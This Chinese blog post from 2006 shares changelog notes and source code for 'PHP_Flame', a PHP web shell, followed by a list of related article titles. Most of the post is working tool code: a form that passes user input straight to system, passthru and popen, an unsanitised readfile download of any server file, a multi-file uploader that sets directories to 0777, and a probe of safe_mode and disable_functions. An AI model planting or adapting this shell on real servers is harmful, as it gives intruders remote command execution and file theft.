PHP_Flame(Version:Progress)的原代码


Posted in PHP onOctober 09, 2006

I PHP_Flame (Version: Progress ) 的一些信息:

*修正了无法下载文件的BUG
*修正了无法返回上级的BUG
*修正了代码编辑出现错误的BUG
......

*增加PHPINFO的功能
*增加多文件下载的功能
*增加执行系统命令的功能
*增加代码查看功能
*增加服务器安全探测功能
.......

*还有许多美化工作。。。。。。 相关的资料:

1。修正了无法返回上级的BUG的代码:
echo "<a href=\"$php_self?act=dir&dir=$dir\..\">返回上级</a>";

2。修正了无法下载文件的相关代码:
case "download":
if (!@is_file($_GET['file_name']))
echo"你要下的文件不存在";
$filename = basename($_GET['file_name']);
$filename_info = explode('.', $filename);
$fileext = $filename_info[count($filename_info)-1];
header('Content-type: application/x-'.$fileext);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Description: PHP3 Generated Data');
readfile($_GET['file_name']);
break;

3。增加代码查看功能
<a href="<?echo$php_self;?>?actionaa=cmd&method=show_source&cmd=<? echo $_GET['file'];?>" target=_blank>文件代码</a>

4。修正了代码编辑出现错误的代码:
$tem= str_replace("/textarea>","//textarea>",$tem);
。。。。。
$tem= str_replace("//textarea>","/textarea>",$tem);

5。增加服务器安全探测功能:
if (get_cfg_var("safe_mode"))echo"on<br>";else echo"off<br>";
echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions");
if ($dis_func=="")
{
echo("<font color=red><b>no value</b></font>");
}
else
{
$dis_func=str_replace(" ","<br>",$dis_func);
$dis_func=str_replace(",","<br>",$dis_func);
echo("$dis_func");
}

6。执行系统命令部分的代码:
<?
if ($actionaa=="cmd") { ?>
<body bgcolor="#6595d6">
<form name="form1" method="post" action="<?= $PHP_SELF ?>?actionaa=cmd">
<select name="method">
<option value="system" <? if ($method=="system") { echo "selected"; } ?>>system</option>
<option value="passthru" <? if ($method=="passthru") { echo "selected"; } ?>>passthru</option>
<option value="show_source" <? if ($method=="show_source") { echo "selected"; } ?>>show_source</option>
<option value="opendir" <? if ($method=="opendir") { echo "selected"; } ?>>opendir</option>
<option value="popen" <? if ($method=="popen") { echo "selected"; } ?>>popen</option>
</select><br>

<input type="text" name="cmd" size="40" value="<?= $cmd; ?>">
<input type="submit" name="Submit" value="<?=$method?>">
<br>
</form>
<?
if (!$method) { $method="system"; }
if (!$cmd) {
echo "* JSW'S PHP FLAME<br>";
echo "* Author: JSW<br>";
echo "* safe_mode:";if (get_cfg_var("safe_mode"))echo"on<br>";else echo"off<br>";
echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions");
if ($dis_func=="")
{
echo("<font color=red><b>no value</b></font>");
}
else
{
$dis_func=str_replace(" ","<br>",$dis_func);
$dis_func=str_replace(",","<br>",$dis_func);
echo("$dis_func");
}

echo "<br>* Now please choose a function and enter the command......";
}
echo "<br><pre>";
if ($method=="system") {
system("$cmd 2>&1");
}
if ($method=="passthru") {
passthru("$cmd 2>&1");
}
if ($method=="opendir") {
$h=opendir($cmd);
while($file=readdir($h)) {
echo "$file\n";
}
}
if ($method=="show_source") {
if (show_source($cmd)) {
//echo "<pre>";
//echo show_source($file);
//echo "</pre>";
} else {
echo "<script> alert(\"unable to read file: $file using: show_source\"); </script>";
}

}
if ($method=="popen") {
$pp = popen('$cmd 2>&1', 'r');
$read = fread($pp, 2096);
echo $read;
pclose($pp);
}
echo "</pre>";
exit;
}
?>

7。增加文件上载的代码:
<?php
if($dir=="")
$dir="./";
?>
<?
if($tools==upload)
{
for($i=1;$i<21;$i++)
{
$temp1="userfile".$i;
$temp2="userfile".$i."_name";
$source=$$temp1;
$source_name=$$temp2;
if(@$source!="")
{
@$v=file_exists($filedir);
if(!$v)
{
mkdir(@$filedir,0777);
}
@chmod($filedir,0777);
if(file_exists("$filedir/$source_name")=="1")
{
if($up_flag=="y")
{
@unlink($filedir/$source_name);
@copy($source,"$filedir/$source_name");
echo $source_name."已覆盖上传<br>";
}
else
echo $source_name."请重新上传!<br>";
}
else
{
@copy($source,"$filedir/$source_name");
echo $source_name."已上传<br>";
}
}
}//end for
echo"
<html>
<head>
<title>JSW'S PHP FLAME</title>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\">
<link href=t.css rel=stylesheet type=text/css>
<script language=\"javascript\">
function setid()
{
str='<br>';
if(!window.uploadForm.upcount.value
window.uploadForm.upcount.value>20
window.uploadForm.upcount.value==0)
window.uploadForm.upcount.value=1;
for(i=1;i<=window.uploadForm.upcount.value;i++)
str+='文件'+i+':<input type=\"file\" name=\"userfile'+i+'\" style=\"width:400\" class=\"tx1\"><br><br>';
window.upid.innerHTML=str+'<br>';
}
</script>
</head>
<body>
<body bgcolor=\"#6595d6\">
<table width=\"550\" border=\"1\" cellspacing=\"0\" cellpadding=\"5\" align=\"center\">
<form name=\"t\" method=\"get\" action=\"?\">
<tr class=\"t2\">
<td><li> 1.指定上传目录(默认为本程序所在目录)
<input type=\"hidden\" name=\"tools\" value=\"upload\">
<input type=\"text\" name=\"dir\">
<input type=\"submit\" value=\"确定\" name=\"t\"></td></li>
</tr>
</form>
<form name=\"uploadForm\" method=\"post\" action=\"?tools=upload&dir=$dir\" enctype=\"multipart/form-data\">
<tr class=\"t2\">
<td>
<li> 2.需要上传的个数(建议最大值 20)
<input type=\"text\" name=\"upcount\" class=\"tx\" value=\"1\">
<input type=\"button\" name=\"Button\" class=\"bt\" onclick=\"setid();\" value=\"设定\">
</li>
<li> 3.全部文件都覆盖上传: <input type=\"radio\" name=\"up_flag\" value=\"y\">是<input type=\"radio\" name=\"up_flag\" value=\"n\" checked>否
</li>
<br>
<br>
您的文件将被上传到: $dir
<input type=\"hidden\" name=\"filedir\" class=\"tx\" value=\"$dir\">
<a href=\"?\">返回PHP_Flame</a>
</td>
</tr>
<tr>
<td id=\"upid\" height=\"122\"> 文件1:
<input type=\"file\" name=\"userfile1\" style=\"width:400\" class=\"tx1\" value=\"\">
</td>
</tr>
<tr>
<td>
<input type=\"submit\" name=\"upload\" value=\"上传\" class=\"bt\">
<input type=\"reset\" name=\"reset\" value=\"重执\" class=\"bt\">
</td>
</tr></form>
</table>
</body>
</html>";
exit;}
?>

。。。。。。
最后指明的是,这个PHP程序是在安然的PHP Command的基础上编写的,在此表示感谢,完整代码: http://jsw.china12e.com/jswsoft/show.php

PHP 相关文章推荐
PHP SQLite类
May 07 PHP
PHP转换文件夹下所有文件编码的实现代码
Jun 06 PHP
PHP中把数据库查询结果输出为json格式简单实例
Apr 09 PHP
WordPress中查询文章的循环Loop结构及用法分析
Dec 17 PHP
PHP错误处理函数
Apr 03 PHP
PHP array_key_exists检查键名或索引是否存在于数组中的实现方法
Jun 13 PHP
php获取开始与结束日期之间所有日期的方法
Nov 29 PHP
php微信公众号开发之秒杀
Oct 20 PHP
Yii框架使用PHPExcel导出Excel文件的方法分析【改进版】
Jul 24 PHP
PHP7数组的底层实现示例
Aug 25 PHP
PHP上传图片到数据库并显示的实例代码
Dec 20 PHP
PHP实现常用排序算法的方法
Feb 05 PHP
图形数字验证代码
Oct 09 #PHP
用PHP函数解决SQL injection
Oct 09 #PHP
session 的生命周期是多长
Oct 09 #PHP
做个自己站内搜索引擎
Oct 09 #PHP
用libTemplate实现静态网页的生成
Oct 09 #PHP
php注入实例
Oct 09 #PHP
967 个函式
Oct 09 #PHP
You might like
PHP批量生成缩略图的代码
2008/07/19 PHP
PHP命名空间(Namespace)简明教程
2014/06/11 PHP
PHP程序中的文件锁、互斥锁、读写锁使用技巧解析
2016/03/21 PHP
PHP 绘制网站登录首页图片验证码
2016/04/12 PHP
PHP页面跳转操作实例分析(header方法)
2016/09/28 PHP
php获取给定日期相差天数的方法分析
2017/02/20 PHP
JavaScript面向对象设计二 构造函数模式
2011/12/20 Javascript
检测input每次的输入是否合法遇到汉字输入就有问题
2012/05/23 Javascript
jQuery插件开发的两种方法及$.fn.extend的详解
2014/01/16 Javascript
运用jQuery定时器的原理实现banner图片切换
2014/10/22 Javascript
js实现进度条的方法
2015/02/13 Javascript
js仿QQ中对联系人向左滑动、滑出删除按钮的操作
2016/04/07 Javascript
jQuery选择器总结之常用元素查找方法
2016/08/04 Javascript
webpack4 SCSS提取和懒加载的示例
2018/09/03 Javascript
详解如何用webpack4从零开始构建react开发环境
2019/01/27 Javascript
微信小程序如何使用云开发
2019/05/17 Javascript
vue-iview动态新增和删除的方法
2020/06/17 Javascript
js实现鼠标拖曳效果
2020/12/30 Javascript
Python自定义scrapy中间模块避免重复采集的方法
2015/04/07 Python
使用Python的Bottle框架写一个简单的服务接口的示例
2015/08/25 Python
Python3.2模拟实现webqq登录
2016/02/15 Python
python中input()与raw_input()的区别分析
2016/02/27 Python
python取余运算符知识点详解
2019/06/27 Python
python中的TCP(传输控制协议)用法实例分析
2019/11/15 Python
Python3批量创建Crowd用户并分配组
2020/05/20 Python
最新Python idle下载、安装与使用教程图文详解
2020/11/28 Python
Python tkinter之Bind(绑定事件)的使用示例
2021/02/05 Python
美国家用电器和电子产品商店:Abt
2016/09/06 全球购物
美国基督教约会网站:ChristianCafe.com
2020/02/04 全球购物
Java的for语句中break, continue和return的区别
2013/12/19 面试题
客服端调用EJB对象的几个基本步骤
2012/01/15 面试题
教职工代表大会主持词
2014/04/01 职场文书
《晚上的太阳》教学反思
2014/04/23 职场文书
考试保密承诺书
2014/08/30 职场文书
家长通知书家长意见
2015/06/03 职场文书
学法用法心得体会(2016推荐篇)
2016/01/21 职场文书